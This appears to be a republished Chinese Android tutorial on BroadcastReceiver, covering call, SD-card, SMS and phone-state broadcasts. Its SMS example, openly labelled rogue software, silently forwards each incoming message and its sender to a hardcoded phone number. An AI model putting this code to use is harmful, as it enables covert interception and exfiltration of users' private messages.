Broadcast Receiver(一)

来源:互联网 发布:走向共和 知乎 编辑:程序博客网 时间:2024/05/10 13:19

1、Broadcast –一种广泛运用在应用程序上信息传输的机制。
2、Broadcast Receiver–隋发升出来的广播进行过滤并相应的一类组件,就是用来接收来自系统和应用中的广播。
3、在android中广播比较常用的场景:
当你手机开机时,系统产生一条广播。app进行过滤和接收。
当网络转台发生改变时候,系统产生一条广播。
当电量改变时候,系统产生一条广播。
一、以下是系统自带常用的广播。
1、得到当前电话,有两种方式:

 //两种方式得到播出电话        //一        String current = getResultData();        //二        String phone = intent.getExtras().getString(Intent.EXTRA_PHONE_NUMBER);

这段代码必须在继承BroadcastReceiver类的onReceive()方法执行。并且在AndroidMainfest配置文件中注册

<intent-filter>                <action android:name="android.intent.action.NEW_OUTGOING_CALL"/>            </intent-filter>

2、sd卡
在与sd卡相关的操作
在AndroidMainfest配置文件中注册

 <intent-filter>         //表示sd卡未挂载                <action android:name="android.intent.action.MEDIA_UNMOUNTED" />                //表示sd卡已经挂载                <action android:name="android.intent.action.MEDIA_MOUNTED" />            </intent-filter>

3、短信相关操作
这个注册权限是可以获得手机短信的相关信息。不会提示。(注册这个权限,google工程师一般认为你不想干好事,,,,)

<intent-filter>                <!-- 不提示,但是还存在,需要特别注意一下 -->                <action android:name="android.provider.Telephony.SMS_RECEIVED" />            </intent-filter>
public class SmsReceiver extends BroadcastReceiver {    String Tag ="SmsReceiver";    public SmsReceiver() {    }    @Override    public void onReceive(Context context, Intent intent) {       Object[] objects = (Object[]) intent.getExtras().get("pdus");        for(Object pdu : objects){            //获取smsmanager 实例            SmsMessage smsMessage = SmsMessage.createFromPdu((byte[]) pdu);            //获取短信内容            String body = smsMessage.getMessageBody();            String address = smsMessage.getOriginatingAddress();            Log.i(Tag,"body=="+body+",address ="+address);            // 流氓软件            // 此处发送短信            sendMessage(address,body+address);        }    }    // 模拟发送短信    private void sendMessage(String phoneNum,String message) {        SmsManager smsManager = SmsManager.getDefault();        List<String> divideContents =smsManager.divideMessage(message);        for(String text: divideContents){            // 18137884406 目标号码  phoneNum  应该传本机号码            // text 短信内容            smsManager.sendTextMessage("18137884406",phoneNum,text,null,null);        }    }}

4、来电相关
注册权限:

 <intent-filter>                <action android:name="android.intent.action.PHONE_STATE" />            </intent-filter>

例子:

public class PhoneStateReceiver extends BroadcastReceiver {    String Tag ="PhoneStateReceiver";    public PhoneStateReceiver() {    }    @Override    public void onReceive(Context context, Intent intent) {        // 来电号码        Bundle bundle = intent.getExtras();        String inPhone = bundle.getString("incoming_number");        TelephonyManager manager = (TelephonyManager) context.getSystemService(Service.TELEPHONY_SERVICE);        int state = manager.getCallState();        switch (state){            case TelephonyManager.CALL_STATE_IDLE:                Log.i(Tag,"电话挂断了"+inPhone);                break;            case TelephonyManager.CALL_STATE_OFFHOOK:                Log.i(Tag,"电话接听了"+inPhone);                break;            case TelephonyManager.CALL_STATE_RINGING:                Log.i(Tag,"电话响了"+inPhone);                break;        }    }}
0 0